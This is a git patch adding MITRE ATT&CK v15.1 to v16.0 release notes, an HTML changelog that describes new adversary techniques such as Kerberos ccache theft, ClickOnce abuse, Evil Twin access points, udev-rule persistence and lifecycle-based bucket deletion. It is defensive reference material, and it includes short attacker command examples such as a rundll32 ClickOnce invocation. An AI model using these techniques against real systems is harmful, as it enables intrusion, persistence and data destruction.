From 3b68a272ad1de574ff3ca9ebc2b5261b446165d1 Mon Sep 17 00:00:00 2001 From: adpare Date: Thu, 31 Oct 2024 11:01:39 -0500 Subject: [PATCH] added release notes --- .../v15.1-v16.0/changelog-detailed.html | 3335 ++ .../changelogs/v15.1-v16.0/changelog.json | 38976 ++++++++++++++++ .../v15.1-v16.0/layer-enterprise.json | 2673 ++ .../changelogs/v15.1-v16.0/layer-ics.json | 62 + .../changelogs/v15.1-v16.0/layer-mobile.json | 90 + .../static_pages/updates-october-2024.md | 700 + 6 files changed, 45836 insertions(+) create mode 100644 modules/resources/docs/changelogs/v15.1-v16.0/changelog-detailed.html create mode 100644 modules/resources/docs/changelogs/v15.1-v16.0/changelog.json create mode 100644 modules/resources/docs/changelogs/v15.1-v16.0/layer-enterprise.json create mode 100644 modules/resources/docs/changelogs/v15.1-v16.0/layer-ics.json create mode 100644 modules/resources/docs/changelogs/v15.1-v16.0/layer-mobile.json create mode 100644 modules/resources/static_pages/updates-october-2024.md diff --git a/modules/resources/docs/changelogs/v15.1-v16.0/changelog-detailed.html b/modules/resources/docs/changelogs/v15.1-v16.0/changelog-detailed.html new file mode 100644 index 00000000000..1fcabde4299 --- /dev/null +++ b/modules/resources/docs/changelogs/v15.1-v16.0/changelog-detailed.html @@ -0,0 +1,3335 @@ + + + + ATT&CK Changes + + + + +

ATT&CK Changes Between v15.1 and v16.0

Key

+ + + + +
+ + + + + +
Colors for description field
Added
Changed
Deleted
+
+

Additional formats

+

These ATT&CK Navigator layer files can be uploaded to ATT&CK Navigator manually.

+ +

This JSON file contains the machine readble output used to create this page: changelog.json

+

Techniques

enterprise-attack

New Techniques

[T1098.007] Account Manipulation: Additional Local or Domain Groups

Current version: 1.0

Description: An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain. + +On Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups.(Citation: Microsoft Net Localgroup)(Citation: Microsoft Net Group) On Linux, adversaries may use the `usermod` command for the same purpose.(Citation: Linux Usermod) + +For example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) to log into the endpoints in the future.(Citation: Microsoft RDP Logons) On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003) for elevated privileges. + +In Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.(Citation: RootDSE AD Detection 2022)

[T1496.002] Resource Hijacking: Bandwidth Hijacking

Current version: 1.0

Description: Adversaries may leverage the network bandwidth resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. + +Adversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking) Finally, they may engage in internet-wide scanning in order to identify additional targets for compromise.(Citation: Unit 42 Leaked Environment Variables 2024) + +In addition to incurring potential financial costs or availability disruptions, this technique may cause reputational damage if a victim’s bandwidth is used for illegal activities.(Citation: Sysdig Proxyjacking)

[T1558.005] Steal or Forge Kerberos Tickets: Ccache Files

Current version: 1.0

Description: +Adversaries may attempt to steal Kerberos tickets stored in credential cache files (or ccache). These files are used for short term storage of a user's active session credentials. The ccache file is created upon user authentication and allows for access to multiple services without the user having to re-enter credentials. + +The /etc/krb5.conf configuration file and the KRB5CCNAME environment variable are used to set the storage location for ccache entries. On Linux, credentials are typically stored in the `/tmp` directory with a naming format of `krb5cc_%UID%` or `krb5.ccache`. On macOS, ccache entries are stored by default in memory with an `API:{uuid}` naming scheme. Typically, users interact with ticket storage using kinit, which obtains a Ticket-Granting-Ticket (TGT) for the principal; klist, which lists obtained tickets currently held in the credentials cache; and other built-in binaries.(Citation: Kerberos GNU/Linux)(Citation: Binary Defense Kerberos Linux) + +Adversaries can collect tickets from ccache files stored on disk and authenticate as the current user without their password to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks. Adversaries can also use these tickets to impersonate legitimate users with elevated privileges to perform [Privilege Escalation](https://attack.mitre.org/tactics/TA0004). Tools like Kekeo can also be used by adversaries to convert ccache files to Windows format for further [Lateral Movement](https://attack.mitre.org/tactics/TA0008). On macOS, adversaries may use open-source tools or the Kerberos framework to interact with ccache files and extract TGTs or Service Tickets via lower-level APIs.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)

[T1127.002] Trusted Developer Utilities Proxy Execution: ClickOnce

Current version: 1.0

Description: Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat) ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e, .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.(Citation: SpectorOps Medium ClickOnce) + +Because ClickOnce applications receive only limited permissions, they do not require administrative permissions to install.(Citation: Microsoft Learn ClickOnce) As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges. + +ClickOnce may be abused in a number of ways. For example, an adversary may rely on [User Execution](https://attack.mitre.org/techniques/T1204). When a user visits a malicious website, the .NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation.(Citation: NetSPI ClickOnce) + +Adversaries may also abuse ClickOnce to execute malware via a [Rundll32](https://attack.mitre.org/techniques/T1218/011) script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`.(Citation: LOLBAS /Dfsvc.exe) + +Additionally, an adversary can move the ClickOnce application file to a remote user’s startup folder for continued malicious code deployment (i.e., [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001)).(Citation: Burke/CISA ClickOnce BlackHat)(Citation: Burke/CISA ClickOnce Paper)

[T1496.004] Resource Hijacking: Cloud Service Hijacking

Current version: 1.0

Description: Adversaries may leverage compromised software-as-a-service (SaaS) applications to complete resource-intensive tasks, which may impact hosted service availability. + +For example, adversaries may leverage email and messaging services, such as AWS Simple Email Service (SES), AWS Simple Notification Service (SNS), SendGrid, and Twilio, in order to send large quantities of spam / [Phishing](https://attack.mitre.org/techniques/T1566) emails and SMS messages.(Citation: Invictus IR DangerDev 2024)(Citation: Permiso SES Abuse 2023)(Citation: SentinelLabs SNS Sender 2024) Alternatively, they may engage in LLMJacking by leveraging reverse proxies to hijack the power of cloud-hosted AI models.(Citation: Sysdig LLMJacking 2024)(Citation: Lacework LLMJacking 2024) + +In some cases, adversaries may leverage services that the victim is already using. In others, particularly when the service is part of a larger cloud platform, they may first enable the service.(Citation: Sysdig LLMJacking 2024) Leveraging SaaS applications may cause the victim to incur significant financial costs, use up service quotas, and otherwise impact availability.

[T1496.001] Resource Hijacking: Compute Hijacking

Current version: 1.0

Description: Adversaries may leverage the compute resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. + +One common purpose for [Compute Hijacking](https://attack.mitre.org/techniques/T1496/001) is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for [Compute Hijacking](https://attack.mitre.org/techniques/T1496/001) and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs) + +Additionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)

[T1213.004] Data from Information Repositories: Customer Relationship Management Software

Current version: 1.0

Description: Adversaries may leverage Customer Relationship Management (CRM) software to mine valuable information. CRM software is used to assist organizations in tracking and managing customer interactions, as well as storing customer data. + +Once adversaries gain access to a victim organization, they may mine CRM software for customer data. This may include personally identifiable information (PII) such as full names, emails, phone numbers, and addresses, as well as additional details such as purchase histories and IT support interactions. By collecting this data, an adversary may be able to send personalized [Phishing](https://attack.mitre.org/techniques/T1566) emails, engage in SIM swapping, or otherwise target the organization’s customers in ways that enable financial gain or the compromise of additional organizations.(Citation: Bleeping Computer US Cellular Hack 2022)(Citation: Bleeping Computer Mint Mobile Hack 2021)(Citation: Bleeping Computer Bank Hack 2020) + +CRM software may be hosted on-premises or in the cloud. Information stored in these solutions may vary based on the specific instance or environment. Examples of CRM software include Microsoft Dynamics 365, Salesforce, Zoho, Zendesk, and HubSpot.

[T1557.004] Adversary-in-the-Middle: Evil Twin

Current version: 1.0

Description: Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or [Input Capture](https://attack.mitre.org/techniques/T1056).(Citation: Australia ‘Evil Twin’) + +By using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks.(Citation: Kaspersky evil twin)(Citation: medium evil twin) Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks.(Citation: specter ops evil twin) A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. + +Similarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network.(Citation: specter ops evil twin) Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network. + +Upon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.

[T1485.001] Data Destruction: Lifecycle-Triggered Deletion

Current version: 1.0

Description: Adversaries may modify the lifecycle policies of a cloud storage bucket to destroy all objects stored within. + +Cloud storage buckets often allow users to set lifecycle policies to automate the migration, archival, or deletion of objects after a set period of time.(Citation: AWS Storage Lifecycles)(Citation: GCP Storage Lifecycles)(Citation: Azure Storage Lifecycles) If a threat actor has sufficient permissions to modify these policies, they may be able to delete all objects at once. + +For example, in AWS environments, an adversary with the `PutLifecycleConfiguration` permission may use the `PutBucketLifecycle` API call to apply a lifecycle policy to an S3 bucket that deletes all objects in the bucket after one day.(Citation: Palo Alto Cloud Ransomware) In addition to destroying data for purposes of extortion and [Financial Theft](https://attack.mitre.org/techniques/T1657), adversaries may also perform this action on buckets storing cloud logs for [Indicator Removal](https://attack.mitre.org/techniques/T1070).(Citation: Datadog S3 Lifecycle CloudTrail Logs)

[T1059.011] Command and Scripting Interpreter: Lua

Current version: 1.0

Description: Adversaries may abuse Lua commands and scripts for execution. Lua is a cross-platform scripting and programming language primarily designed for embedded use in applications. Lua can be executed on the command-line (through the stand-alone lua interpreter), via scripts (.lua), or from Lua-embedded programs (through the struct lua_State).(Citation: Lua main page)(Citation: Lua state) + +Lua scripts may be executed by adversaries for malicious purposes. Adversaries may incorporate, abuse, or replace existing Lua interpreters to allow for malicious Lua command execution at runtime.(Citation: PoetRat Lua)(Citation: Lua Proofpoint Sunseed)(Citation: Cyphort EvilBunny)(Citation: Kaspersky Lua)

[T1036.010] Masquerading: Masquerade Account Name

Current version: 1.0

Description: Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during [Create Account](https://attack.mitre.org/techniques/T1136), although accounts may also be renamed at a later date. This may also coincide with [Account Access Removal](https://attack.mitre.org/techniques/T1531) if the actor first deletes an account before re-creating one with the same name.(Citation: Huntress MOVEit 2023) + +Often, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management.(Citation: Elastic CUBA Ransomware 2022)(Citation: Aquasec Kubernetes Attack 2023) They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.”(Citation: Invictus IR Cloud Ransomware 2024) Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to [Account Discovery](https://attack.mitre.org/techniques/T1087). + +Note that this is distinct from [Impersonation](https://attack.mitre.org/techniques/T1656), which describes impersonating specific trusted individuals or organizations, rather than user or service account names.

[T1213.005] Data from Information Repositories: Messaging Applications

Current version: 1.0

Description: Adversaries may leverage chat and messaging applications, such as Microsoft Teams, Google Chat, and Slack, to mine valuable information. + +The following is a brief list of example information that may hold potential value to an adversary and may also be found on messaging applications: + +* Testing / development credentials (i.e., [Chat Messages](https://attack.mitre.org/techniques/T1552/008)) +* Source code snippets +* Links to network shares and other internal resources +* Proprietary data(Citation: Guardian Grand Theft Auto Leak 2022) +* Discussions about ongoing incident response efforts(Citation: SC Magazine Ragnar Locker 2021)(Citation: Microsoft DEV-0537) + +In addition to exfiltrating data from messaging applications, adversaries may leverage data from chat messages in order to improve their targeting - for example, by learning more about an environment or evading ongoing incident response efforts.(Citation: Sentinel Labs NullBulge 2024)(Citation: Permiso Scattered Spider 2023)

[T1666] Modify Cloud Resource Hierarchy

Current version: 1.0

Description: Adversaries may attempt to modify hierarchical structures in infrastructure-as-a-service (IaaS) environments in order to evade defenses. + +IaaS environments often group resources into a hierarchy, enabling improved resource management and application of policies to relevant groups. Hierarchical structures differ among cloud providers. For example, in AWS environments, multiple accounts can be grouped under a single organization, while in Azure environments, multiple subscriptions can be grouped under a single management group.(Citation: AWS Organizations)(Citation: Microsoft Azure Resources) + +Adversaries may add, delete, or otherwise modify resource groups within an IaaS hierarchy. For example, in Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources. They may also engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant. This will allow the adversary to use the victim’s compute resources without generating logs on the victim tenant.(Citation: Microsoft Peach Sandstorm 2023)(Citation: Microsoft Subscription Hijacking 2022) + +In AWS environments, adversaries with appropriate permissions in a given account may call the `LeaveOrganization` API, causing the account to be severed from the AWS Organization to which it was tied and removing any Service Control Policies, guardrails, or restrictions imposed upon it by its former Organization. Alternatively, adversaries may call the `CreateAccount` API in order to create a new account within an AWS Organization. This account will use the same payment methods registered to the payment account but may not be subject to existing detections or Service Control Policies.(Citation: AWS RE:Inforce Threat Detection 2024)

[T1480.002] Execution Guardrails: Mutual Exclusion

Current version: 1.0

Description: Adversaries may constrain execution or actions based on the presence of a mutex associated with malware. A mutex is a locking mechanism used to synchronize access to a resource. Only one thread or process can acquire a mutex at a given time.(Citation: Microsoft Mutexes) + +While local mutexes only exist within a given process, allowing multiple threads to synchronize access to a resource, system mutexes can be used to synchronize the activities of multiple processes.(Citation: Microsoft Mutexes) By creating a unique system mutex associated with a particular malware, adversaries can verify whether or not a system has already been compromised.(Citation: Sans Mutexes 2012) + +In Linux environments, malware may instead attempt to acquire a lock on a mutex file. If the malware is able to acquire the lock, it continues to execute; if it fails, it exits to avoid creating a second instance of itself.(Citation: Intezer RedXOR 2021)(Citation: Deep Instinct BPFDoor 2023) + +Mutex names may be hard-coded or dynamically generated using a predictable algorithm.(Citation: ICS Mutexes 2015)

[T1027.014] Obfuscated Files or Information: Polymorphic Code

Current version: 1.0

Description: Adversaries may utilize polymorphic code (also known as metamorphic or mutating code) to evade detection. Polymorphic code is a type of software capable of changing its runtime footprint during code execution.(Citation: polymorphic-blackberry) With each execution of the software, the code is mutated into a different version of itself that achieves the same purpose or objective as the original. This functionality enables the malware to evade traditional signature-based defenses, such as antivirus and antimalware tools.(Citation: polymorphic-sentinelone) +Other obfuscation techniques can be used in conjunction with polymorphic code to accomplish the intended effects, including using mutation engines to conduct actions such as [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010), or [Encrypted/Encoded File](https://attack.mitre.org/techniques/T1027/013).(Citation: polymorphic-linkedin)(Citation: polymorphic-medium) +

[T1071.005] Application Layer Protocol: Publish/Subscribe Protocols

Current version: 1.0

Description: Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. + +Protocols such as MQTT, XMPP, AMQP, and STOMP use a publish/subscribe design, with message distribution managed by a centralized broker.(Citation: wailing crab sub/pub)(Citation: Mandiant APT1 Appendix) Publishers categorize their messages by topics, while subscribers receive messages according to their subscribed topics.(Citation: wailing crab sub/pub) An adversary may abuse publish/subscribe protocols to communicate with systems under their control from behind a message broker while also mimicking normal, expected traffic.

[T1070.010] Indicator Removal: Relocate Malware

Current version: 1.0

Description: Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with [File Deletion](https://attack.mitre.org/techniques/T1070/004) to cleanup older artifacts. + +Relocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: DFIR Report Trickbot June 2023) Payloads may also be repositioned to target [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012) as well as specific locations associated with establishing [Persistence](https://attack.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024) + +Relocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as [User Execution](https://attack.mitre.org/techniques/T1204) and [Phishing](https://attack.mitre.org/techniques/T1566)) that may have generated alerts or otherwise drawn attention from defenders.

[T1496.003] Resource Hijacking: SMS Pumping

Current version: 1.0

Description: Adversaries may leverage messaging services for SMS pumping, which may impact system and/or hosted service availability.(Citation: Twilio SMS Pumping) SMS pumping is a type of telecommunications fraud whereby a threat actor first obtains a set of phone numbers from a telecommunications provider, then leverages a victim’s messaging infrastructure to send large amounts of SMS messages to numbers in that set. By generating SMS traffic to their phone number set, a threat actor may earn payments from the telecommunications provider.(Citation: Twilio SMS Pumping Fraud) + +Threat actors often use publicly available web forms, such as one-time password (OTP) or account verification fields, in order to generate SMS traffic. These fields may leverage services such as Twilio, AWS SNS, and Amazon Cognito in the background.(Citation: Twilio SMS Pumping)(Citation: AWS RE:Inforce Threat Detection 2024) In response to the large quantity of requests, SMS costs may increase and communication channels may become overwhelmed.(Citation: Twilio SMS Pumping)

[T1546.017] Event Triggered Execution: Udev Rules

Current version: 1.0

Description: Adversaries may maintain persistence through executing malicious content triggered using udev rules. Udev is the Linux kernel device manager that dynamically manages device nodes, handles access to pseudo-device files in the `/dev` directory, and responds to hardware events, such as when external devices like hard drives or keyboards are plugged in or removed. Udev uses rule files with `match keys` to specify the conditions a hardware event must meet and `action keys` to define the actions that should follow. Root permissions are required to create, modify, or delete rule files located in `/etc/udev/rules.d/`, `/run/udev/rules.d/`, `/usr/lib/udev/rules.d/`, `/usr/local/lib/udev/rules.d/`, and `/lib/udev/rules.d/`. Rule priority is determined by both directory and by the digit prefix in the rule filename.(Citation: Ignacio Udev research 2024)(Citation: Elastic Linux Persistence 2024) + +Adversaries may abuse the udev subsystem by adding or modifying rules in udev rule files to execute malicious content. For example, an adversary may configure a rule to execute their binary each time the pseudo-device file, such as `/dev/random`, is accessed by an application. Although udev is limited to running short tasks and is restricted by systemd-udevd's sandbox (blocking network and filesystem access), attackers may use scripting commands under the action key `RUN+=` to detach and run the malicious content’s process in the background to bypass these controls.(Citation: Reichert aon sedexp 2024)

Major Version Changes

[T1027.011] Obfuscated Files or Information: Fileless Storage

Current version: 2.0

Version changed from: 1.0 → 2.0

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may store data in "fileless" formats to conceal t1Adversaries may store data in "fileless" formats to conceal 
>malicious activity from defenses. Fileless storage can be br>malicious activity from defenses. Fileless storage can be br
>oadly defined as any format other than a file. Common exampl>oadly defined as any format other than a file. Common exampl
>es of non-volatile fileless storage include the Windows Regi>es of non-volatile fileless storage in Windows systems inclu
>stry, event logs, or WMI repository.(Citation: Microsoft Fil>de the Windows Registry, event logs, or WMI repository.(Cita
>eless)(Citation: SecureList Fileless)  Similar to fileless i>tion: Microsoft Fileless)(Citation: SecureList Fileless) In 
>n-memory behaviors such as [Reflective Code Loading](https:/>Linux systems, shared memory directories such as `/dev/shm`,
>/attack.mitre.org/techniques/T1620) and [Process Injection](> `/run/shm`, `/var/run`, and `/var/lock` may also be conside
>https://attack.mitre.org/techniques/T1055), fileless data st>red fileless storage, as files written to these directories 
>orage may remain undetected by anti-virus and other endpoint>are mapped directly to RAM and not stored on the disk.(Citat
> security tools that can only access specific file formats f>ion: Elastic Binary Executed from Shared Memory Directory)(C
>rom disk storage.  Adversaries may use fileless storage to c>itation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Ma
>onceal various types of stored data, including payloads/shel>lware 2024)  Similar to fileless in-memory behaviors such as
>lcode (potentially being used as part of [Persistence](https> [Reflective Code Loading](https://attack.mitre.org/techniqu
>://attack.mitre.org/tactics/TA0003)) and collected data not >es/T1620) and [Process Injection](https://attack.mitre.org/t
>yet exfiltrated from the victim (e.g., [Local Data Staging](>echniques/T1055), fileless data storage may remain undetecte
>https://attack.mitre.org/techniques/T1074/001)). Adversaries>d by anti-virus and other endpoint security tools that can o
> also often encrypt, encode, splice, or otherwise obfuscate >nly access specific file formats from disk storage. Leveragi
>this fileless data when stored.  Some forms of fileless stor>ng fileless storage may also allow adversaries to bypass the
>age activity may indirectly create artifacts in the file sys> protections offered by read-only file systems in Linux.(Cit
>tem, but in central and otherwise difficult to inspect forma>ation: Sysdig Fileless Malware 23022)  Adversaries may use f
>ts such as the WMI (e.g., `%SystemRoot%\System32\Wbem\Reposi>ileless storage to conceal various types of stored data, inc
>tory`) or Registry (e.g., `%SystemRoot%\System32\Config`) ph>luding payloads/shellcode (potentially being used as part of
>ysical files.(Citation: Microsoft Fileless) > [Persistence](https://attack.mitre.org/tactics/TA0003)) and
 > collected data not yet exfiltrated from the victim (e.g., [
 >Local Data Staging](https://attack.mitre.org/techniques/T107
 >4/001)). Adversaries also often encrypt, encode, splice, or 
 >otherwise obfuscate this fileless data when stored.  Some fo
 >rms of fileless storage activity may indirectly create artif
 >acts in the file system, but in central and otherwise diffic
 >ult to inspect formats such as the WMI (e.g., `%SystemRoot%\
 >System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\
 >System32\Config`) physical files.(Citation: Microsoft Filele
 >ss) 

New Detections:

Details
values_changed
STIX FieldOld valueNew Value
modified2023-05-04 18:06:40.829000+00:002024-10-04 15:05:25.388000+00:00
descriptionAdversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) + +Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. + +Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. + +Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\System32\Config`) physical files.(Citation: Microsoft Fileless) Adversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) In Linux systems, shared memory directories such as `/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock` may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024) + +Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022) + +Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. + +Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\System32\Config`) physical files.(Citation: Microsoft Fileless)
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.02.0
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Aquasec Muhstik Malware 2024', 'description': ' Nitzan Yaakov. (2024, June 4). Muhstik Malware Targets Message Queuing Services Applications. Retrieved September 24, 2024.', 'url': 'https://www.aquasec.com/blog/muhstik-malware-targets-message-queuing-services-applications/'}
external_references{'source_name': 'Elastic Binary Executed from Shared Memory Directory', 'description': 'Elastic. (n.d.). Binary Executed from Shared Memory Directory. Retrieved September 24, 2024.', 'url': 'https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-3-binary-executed-from-shared-memory-directory.html'}
external_references{'source_name': 'Sysdig Fileless Malware 23022', 'description': 'Nicholas Lang. (2022, May 3). Fileless malware mitigation. Retrieved September 24, 2024.', 'url': 'https://sysdig.com/blog/containers-read-only-fileless-malware/'}
external_references{'source_name': 'Akami Frog4Shell 2024', 'description': 'Ori David. (2024, February 1). Frog4Shell — FritzFrog Botnet Adds One-Days to Its Arsenal. Retrieved September 24, 2024.', 'url': 'https://www.akamai.com/blog/security-research/fritzfrog-botnet-new-capabilities-log4shell'}
x_mitre_contributorsVito Alfano, Group-IB
x_mitre_data_sourcesProcess: Process Creation
x_mitre_platformsLinux

[T1578.005] Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations

Current version: 2.0

Version changed from: 1.0 → 2.0

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may modify settings that directly affect the sizt1Adversaries may modify settings that directly affect the siz
>e, locations, and resources available to cloud compute infra>e, locations, and resources available to cloud compute infra
>structure in order to evade defenses. These settings may inc>structure in order to evade defenses. These settings may inc
>lude service quotas, subscription associations, tenant-wide >lude service quotas, subscription associations, tenant-wide 
>policies, or other configurations that impact available comp>policies, or other configurations that impact available comp
>ute. Such modifications may allow adversaries to abuse the v>ute. Such modifications may allow adversaries to abuse the v
>ictim’s compute resources to achieve their goals, potentiall>ictim’s compute resources to achieve their goals, potentiall
>y without affecting the execution of running instances and/o>y without affecting the execution of running instances and/o
>r revealing their activities to the victim.  For example, cl>r revealing their activities to the victim.  For example, cl
>oud providers often limit customer usage of compute resource>oud providers often limit customer usage of compute resource
>s via quotas. Customers may request adjustments to these quo>s via quotas. Customers may request adjustments to these quo
>tas to support increased computing needs, though these adjus>tas to support increased computing needs, though these adjus
>tments may require approval from the cloud provider. Adversa>tments may require approval from the cloud provider. Adversa
>ries who compromise a cloud environment may similarly reques>ries who compromise a cloud environment may similarly reques
>t quota adjustments in order to support their activities, su>t quota adjustments in order to support their activities, su
>ch as enabling additional [Resource Hijacking](https://attac>ch as enabling additional [Resource Hijacking](https://attac
>k.mitre.org/techniques/T1496) without raising suspicion by u>k.mitre.org/techniques/T1496) without raising suspicion by u
>sing up a victim’s entire quota.(Citation: Microsoft Cryptoj>sing up a victim’s entire quota.(Citation: Microsoft Cryptoj
>acking 2023) Adversaries may also increase allowed resource >acking 2023) Adversaries may also increase allowed resource 
>usage by modifying any tenant-wide policies that limit the s>usage by modifying any tenant-wide policies that limit the s
>izes of deployed virtual machines.(Citation: Microsoft Azure>izes of deployed virtual machines.(Citation: Microsoft Azure
> Policy)  Adversaries may also modify settings that affect w> Policy)  Adversaries may also modify settings that affect w
>here cloud resources can be deployed, such as enabling [Unus>here cloud resources can be deployed, such as enabling [Unus
>ed/Unsupported Cloud Regions](https://attack.mitre.org/techn>ed/Unsupported Cloud Regions](https://attack.mitre.org/techn
>iques/T1535). In Azure environments, an adversary who has ga>iques/T1535). 
>ined access to a Global Administrator account may create new 
> subscriptions in which to deploy resources, or engage in su 
>bscription hijacking by transferring an existing pay-as-you- 
>go subscription from a victim tenant to an adversary-control 
>led tenant.(Citation: Microsoft Peach Sandstorm 2023) This w 
>ill allow the adversary to use the victim’s compute resource 
>s without generating logs on the victim tenant.(Citation: Mi 
>crosoft Azure Policy) (Citation: Microsoft Subscription Hija 
>cking 2022) 
Details
values_changed
STIX FieldOld valueNew Value
